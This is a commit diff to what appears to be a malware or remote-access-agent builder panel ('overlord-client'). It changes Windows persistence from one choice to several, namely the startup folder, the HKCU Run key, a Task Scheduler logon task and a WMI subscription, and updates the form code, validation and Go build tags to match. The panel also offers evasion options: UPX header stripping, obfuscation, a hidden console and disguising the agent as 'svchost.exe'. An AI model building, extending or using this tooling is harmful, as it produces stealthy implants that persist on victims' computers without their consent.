multi select persistence
This commit is contained in:
@@ -105,7 +105,7 @@ function saveFormSettings() {
|
||||
upxStripHeaders: document.querySelector('input[name="upx-strip-headers"]')?.checked ?? false,
|
||||
sleepSeconds: document.getElementById("sleep-seconds")?.value ?? "0",
|
||||
enablePersistence: document.querySelector('input[name="enable-persistence"]')?.checked ?? false,
|
||||
persistenceMethod: document.getElementById("persistence-method")?.value ?? "startup",
|
||||
persistenceMethods: Array.from(document.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value),
|
||||
startupName: document.getElementById("startup-name")?.value ?? "",
|
||||
hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false,
|
||||
requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false,
|
||||
@@ -153,7 +153,11 @@ function restoreFormSettings() {
|
||||
if (s.upxStripHeaders !== undefined) setCb('input[name="upx-strip-headers"]', s.upxStripHeaders);
|
||||
if (s.sleepSeconds !== undefined) setVal("sleep-seconds", s.sleepSeconds);
|
||||
if (s.enablePersistence !== undefined) setCb('input[name="enable-persistence"]', s.enablePersistence);
|
||||
if (s.persistenceMethod !== undefined) setVal("persistence-method", s.persistenceMethod);
|
||||
if (Array.isArray(s.persistenceMethods)) {
|
||||
document.querySelectorAll('input[name="persistence-method"]').forEach((el) => {
|
||||
el.checked = s.persistenceMethods.includes(el.value);
|
||||
});
|
||||
}
|
||||
if (s.startupName !== undefined) setVal("startup-name", s.startupName);
|
||||
if (s.hideConsole !== undefined) setCb('input[name="hide-console"]', s.hideConsole);
|
||||
if (s.requireAdmin !== undefined) setCb('input[name="require-admin"]', s.requireAdmin);
|
||||
@@ -559,8 +563,8 @@ form?.addEventListener("submit", async (e) => {
|
||||
'input[name="enable-persistence"]',
|
||||
).checked;
|
||||
const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-"));
|
||||
const persistenceMethod = hasWindowsTarget
|
||||
? form.querySelector("#persistence-method")?.value || "startup"
|
||||
const persistenceMethods = hasWindowsTarget
|
||||
? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value)
|
||||
: undefined;
|
||||
const startupNameVal = hasWindowsTarget
|
||||
? (form.querySelector("#startup-name")?.value.trim() || "")
|
||||
@@ -596,7 +600,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: enablePersistence && hasWindowsTarget ? persistenceMethod : undefined,
|
||||
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
|
||||
startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined,
|
||||
hideConsole,
|
||||
noPrinting,
|
||||
|
||||
@@ -316,15 +316,39 @@
|
||||
|
||||
<div id="persistence-windows-settings" class="hidden" data-persistence-os="windows">
|
||||
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
||||
<i class="fa-brands fa-windows text-blue-400"></i> Windows Persistence Method
|
||||
<i class="fa-brands fa-windows text-blue-400"></i> Windows Persistence Methods
|
||||
<span class="text-xs text-slate-500 font-normal">(select one or more)</span>
|
||||
</div>
|
||||
<div class="flex flex-col gap-2" id="persistence-methods-list">
|
||||
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||
<input type="checkbox" name="persistence-method" value="startup" class="w-4 h-4" checked />
|
||||
<div class="flex flex-col">
|
||||
<span class="text-sm text-slate-200">Startup Folder (APPDATA)</span>
|
||||
<span class="text-xs text-slate-500">Copies agent to user startup folder — no admin required</span>
|
||||
</div>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||
<input type="checkbox" name="persistence-method" value="registry" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="text-sm text-slate-200">Registry (HKCU Run key)</span>
|
||||
<span class="text-xs text-slate-500">Adds a Run key under HKCU — no admin required</span>
|
||||
</div>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||
<input type="checkbox" name="persistence-method" value="taskscheduler" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="text-sm text-slate-200">Task Scheduler (ONLOGON)</span>
|
||||
<span class="text-xs text-slate-500 text-orange-400/80">Requires admin privileges</span>
|
||||
</div>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||
<input type="checkbox" name="persistence-method" value="wmi" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="text-sm text-slate-200">WMI Subscription</span>
|
||||
<span class="text-xs text-slate-500 text-orange-400/80">Requires admin privileges</span>
|
||||
</div>
|
||||
</label>
|
||||
</div>
|
||||
<select id="persistence-method" name="persistence-method"
|
||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors">
|
||||
<option value="startup">Startup Folder (APPDATA)</option>
|
||||
<option value="registry">Registry (HKCU Run key)</option>
|
||||
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
|
||||
<option value="wmi">WMI Subscription (requires admin)</option>
|
||||
</select>
|
||||
<div class="mt-3">
|
||||
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
||||
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
|
||||
@@ -333,7 +357,7 @@
|
||||
pattern="[A-Za-z0-9_-]+"
|
||||
placeholder="ovd (default)"
|
||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
|
||||
<p class="text-xs text-slate-500 mt-1">Custom name for the startup executable (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
|
||||
<p class="text-xs text-slate-500 mt-1">Custom executable name used by all selected methods (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ export type BuildConfig = {
|
||||
disableCgo?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
persistenceMethods?: string[];
|
||||
startupName?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
|
||||
@@ -69,7 +69,7 @@ type BuildProcessConfig = {
|
||||
disableCgo?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
persistenceMethods?: string[];
|
||||
startupName?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
@@ -129,8 +129,6 @@ function stripUpxHeaders(filePath: string): boolean {
|
||||
}
|
||||
}
|
||||
|
||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||
|
||||
type BuildProcessDeps = {
|
||||
generateBuildMutex: (length?: number) => string;
|
||||
sanitizeOutputName: (name: string) => string;
|
||||
@@ -697,12 +695,10 @@ func runBoundFiles() {
|
||||
if (!platform.startsWith('android-')) {
|
||||
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
|
||||
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
|
||||
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
|
||||
if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
|
||||
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
|
||||
ldflags = `${ldflags} ${methodFlag}`;
|
||||
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
|
||||
}
|
||||
const activeMethods = config.persistenceMethods && config.persistenceMethods.length > 0
|
||||
? config.persistenceMethods
|
||||
: ['startup'];
|
||||
sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" });
|
||||
if (os === 'windows' && config.startupName) {
|
||||
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
|
||||
ldflags = `${ldflags} ${startupNameFlag}`;
|
||||
@@ -758,11 +754,13 @@ func runBoundFiles() {
|
||||
if (config.noPrinting) buildTags.push("noprint");
|
||||
if (hasBoundFiles) buildTags.push("hasbinder");
|
||||
if (config.enablePersistence && os === "windows") {
|
||||
const method = config.persistenceMethod || "startup";
|
||||
if (method === "registry") buildTags.push("persist_registry");
|
||||
else if (method === "taskscheduler") buildTags.push("persist_taskscheduler");
|
||||
else if (method === "wmi") buildTags.push("persist_wmi");
|
||||
// startup method uses the default no-op persistInstallFn — no tag needed
|
||||
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
|
||||
? config.persistenceMethods
|
||||
: ['startup'];
|
||||
if (methods.includes("startup")) buildTags.push("persist_startup");
|
||||
if (methods.includes("registry")) buildTags.push("persist_registry");
|
||||
if (methods.includes("taskscheduler")) buildTags.push("persist_taskscheduler");
|
||||
if (methods.includes("wmi")) buildTags.push("persist_wmi");
|
||||
}
|
||||
const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : "";
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
||||
|
||||
@@ -47,7 +47,7 @@ export async function handleBuildRoutes(
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod,
|
||||
persistenceMethods,
|
||||
startupName,
|
||||
mutex,
|
||||
disableMutex,
|
||||
@@ -132,10 +132,13 @@ export async function handleBuildRoutes(
|
||||
|
||||
const safeNoPrinting = !!noPrinting;
|
||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||
const safePersistenceMethod =
|
||||
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
|
||||
? persistenceMethod.toLowerCase()
|
||||
: 'startup';
|
||||
const safePersistenceMethods: string[] =
|
||||
Array.isArray(persistenceMethods)
|
||||
? persistenceMethods
|
||||
.filter((m: unknown) => typeof m === 'string' && VALID_PERSISTENCE_METHODS.has((m as string).toLowerCase()))
|
||||
.map((m: string) => m.toLowerCase())
|
||||
: ['startup'];
|
||||
if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup');
|
||||
const safeStartupName =
|
||||
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
|
||||
? startupName.trim()
|
||||
@@ -221,7 +224,7 @@ export async function handleBuildRoutes(
|
||||
disableCgo,
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: safePersistenceMethod,
|
||||
persistenceMethods: safePersistenceMethods,
|
||||
startupName: safeStartupName,
|
||||
hideConsole: !!hideConsole,
|
||||
noPrinting: safeNoPrinting,
|
||||
|
||||
Reference in New Issue
Block a user